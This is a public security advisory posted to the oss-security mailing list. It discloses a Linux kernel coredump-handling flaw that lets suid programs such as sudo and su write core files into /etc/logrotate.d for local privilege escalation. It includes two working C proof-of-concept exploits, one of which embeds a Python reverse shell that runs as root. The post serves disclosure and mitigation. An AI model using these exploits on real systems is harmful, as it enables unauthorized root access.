|
Message-ID: <CAExjoYv2aT+DjmBvT55OuSBqKpEeZwBkiCf_yA1kMNR=-ALpew@mail.gmail.com> Date: Wed, 20 Oct 2021 15:45:49 +0300 From: Itai Greenhut <itai.greenhut@...il.com> To: oss-security@...ts.openwall.com Subject: Core-dump handing issues with suid binaries Hello, As the maximum allowed 14 days of embargo has passed, this is a public announcement of a vulnerability in the linux kernel that can lead to exploitation of suid binaries. Vulnerabilities in coredump handling can lead to LPE ================================================ SUMMARY -------------------------------------------------------------- We found a technique that can be used to write coredump files into arbitrary directories (even those requiring root permissions). These files can be leveraged to execute arbitrary code via logrotate. The issue can be exploited with sudo (tested on Ubuntu 21.04 + debian 11) on a machine that is configured to allow a user to run a command as root. Issue: -------------------------------------------------------------- Every process has a “dumpable” integer attribute. The value of this attribute determines what to do when a process receives signals that usually result in a coredump. We will focus on the behavior of suid binaries. There are three possible values: 0 - Coredump won't be produced for a suid program 1 - Coredump will be produced when possible 2 - Coredump will be produced for suid programs, only if core_pattern is an absulote path or a pipe to a usermode program. When executing a suid binary on a default configuration (core_pattern is relative and suid_dumpable is 0 or 2) the process won't create a coredump for the suid processes. We noticed that if we have a suid binary that uses execve, the new dumpable value is determined in the "begin_new_exec" function, from fs/exec.c (code taken from kernel 5.13.12): """ if (bprm->interp_flags & BINPRM_FLAGS_ENFORCE_NONDUMP || !(uid_eq(current_euid(), current_uid()) && gid_eq(current_egid(), current_gid()))) set_dumpable(current->mm, suid_dumpable); else set_dumpable(current->mm, SUID_DUMP_USER); """ We can see in this code that if a suid binary changes its privileges to have the real uid equal effective uid, and real gid equal effective gid, then the process after execve will have a dumpable value of SUID_DUMP_USER (1). If that process were to crash, a coredump file would be generated with uid:gid permissions. Exploitation: --------------------------------------------------------- We tested the exploit on Ubuntu 21.04 and Debian 11 (with slight modifications to the code). To exploit this behavior, we first had to find a suid binary that meets the following requirements: 1. A root suid binary. 2. Sets uid and gid to 0 (setuid(0) and setgid(0) are called). 3. Uses execve. After investigating a few binaries, we found that sudo is suitable for our purpose. With sudo, the issue only affects machines configured via /etc/sudoers to let a low-privileges user to run a command as root (the exact command doesn't matter, as we will show later). We have successfully exploited the following configuration on the latest Ubuntu release ('user' is a low privileged user). """ user ALL= /usr/bin/true """ The above configuration means that 'user' can only run the /usr/bin/true binary as root, which does almost nothing. When running /usr/bin/true with sudo, sudo will call setuid(0) and setgid(0), then fork and execve the /usr/bin/true binary. After the execve, the dumpable value of the new process will be set to 1. Now we only need to make sure that we can crash *any* child process of sudo, and a core file will be generated for that process. We have two options on how to crash the child process. 1. we can set RLIMIT_CPU to 0 in the parent that calls sudo. Child processes inherit the rlimit values from their parents, and those values are also preserved across execve. Therefore, the /usr/bin/true binary will crash almost immediately after beginning execution, and create a coredump file in the current directory of the process. Providing 0 to RLIMIT_CPU is available from commit (2bbdbdae05167c688b6d3499a7dab74208b80a22) 2. We can fork a new process and execute the suid binary, meanwhile at the parent process we will “insert” CTRL+\ (SIGQUIT) character to the terminal (with \x1C character on ioctl TIOCSTI). The SIGQUIT character in the tty driver will send SIGQUIT signal to the process group of the parent results in a coredump of the child of suid process (That way we bypass the fact that we cannot send signals to the child of suid). Now, to get the privilege escalation, all we have to do is to set the current working directory to /etc/logrotate.d/, and include a valid logrotate configuration in the memory of the crashed process. To include the logrotate configuration in the coredump file, we transfer the configuration through specific environment variables, that the children of sudo binary inherit (sudo filters most of them but we were able to use XAUTHORITY). The PoC must run multiple times because sometimes the sudo program times out before the child is executed. Sudo PoC (tested on Ubuntu 21.04): --------------------------------------------------------- 1. Start with a low-privileged user 2. Add configuration so the user will be able to execute 'true' as root. 3. Touch /var/crash/test.log 4. Change the directory to /etc/logrotate.d/ 5. Run the PoC code multiple times until a coredump file is created in /etc/logrotate.d/ """ #include <stdlib.h> #include <unistd.h> #include <sys/time.h> #include <sys/resource.h> int main(int argc, char **argv, char **envp) { char *nargv[] = {"sudo", "true", NULL}; struct rlimit lim; char *xauth_env = "\n/var/crash/test.log{\n su root root\n daily\n size=0\n firstaction\n /usr/bin/python3 -c \"import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)]; pty.spawn('/bin/sh')\";\n endscript\n}\n\nA\""; setenv("XAUTHORITY", xauth_env, 1); chdir("/etc/logrotate.d"); lim.rlim_cur = 0; lim.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CPU, &lim); lim.rlim_cur = RLIM_INFINITY; lim.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &lim); execve("/usr/bin/sudo", nargv, envp); return 0; } """ 6. A coredump file should now be present in /etc/logrotate.d/core. When logrotate runs, it will read the configuration files from /etc/logrotate.d/. logrotate's configuration format is not strict, and it will read the coredump until reaching a valid configuration (present in the dump as part of the XAUTHORITY environment variable value), which will connect to our listening server as root. Another example: --------------------------------------------------------- While investigating other binaries trying to find a binary that satisfies our requirements, we found that there are several default binaries that authenticate through pam. This was tested on Centos 7 which still receive security update until 2024 (centos 8 will not work because their coredumps are on absolute paths) One of the binaries is /usr/bin/su which eventually calls pam_unix.so. CentOS 7 ships with an outdated version of pam which will call a helper (/usr/sbin/unix_chkpwd) when selinux is enabled (which is in centos 7). Before executing /usr/sbin/unix_chkpwd pam_unix will call setuid(0) which will satisfy our requirements from before. Because CentOS 7 comes with an old kernel which we can’t use RLIMIT_CPU to generate dump with (The process dies too fast) we will use our second method. We are able to generate coredump in specified directory. Before executing the child pam_unix wipes all the previous environment. As for now we haven’t found a way yet to include a logrotate configuration in the memory of the child’s coredump. Su PoC (tested on CentOS 7): --------------------------------------------------------- 1. Start with a low-privileged user 2. Run the PoC code multiple times (with incremental sleep time) until a coredump file is created in /etc/logrotate.d/ """ #include <sys/ioctl.h> #include <termios.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <stdio.h> #include <sys/time.h> #include <sys/resource.h> int main(int argc, char **argv, char **envp) { struct rlimit lim; lim.rlim_cur = RLIM_INFINITY; lim.rlim_max = RLIM_INFINITY; setrlimit(RLIMIT_CORE, &lim); chdir("/etc/logrotate.d/"); pid_t pid = fork(); if (0 == pid) { char *nargv[] = {"su", "-m", "root", NULL}; execve("/usr/bin/su", nargv, envp); exit(1); } else { usleep(atoi(argv[1])); char code = '\x1C'; ioctl(STDIN_FILENO, TIOCSTI, &code); } return 0; } """ Workarounds: --------------------------------------------------------- This exploit can be mitigated using a few workarounds. 1. Change /proc/sys/kernel/core_pattern to an absolute, safe directory (this way, logrotate cannot be triggered). 2. Apparently, at some point in time, pam_limits.so was removed from the PAM configuration of sudo (in Debian and Ubuntu). Adding this module to the sudo's PAM configuration and setting RLIMIT_CORE to 0 makes sudo immune to this vulnerability. As discussed with security@...nel.org and linux-distros@...openwall.org a permanent fix to this vulnerability will probably need to be inside the linux kernel, one of the suggestions that came up was to reset RLIMIT_CORE of a suid process to 0 by default. Any fix to this issue would probably break user expectations from the linux kernel because suddenly their coredump won't be created. Best Regards, Itai Greenhut Aleph Research by HCL AppScan
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.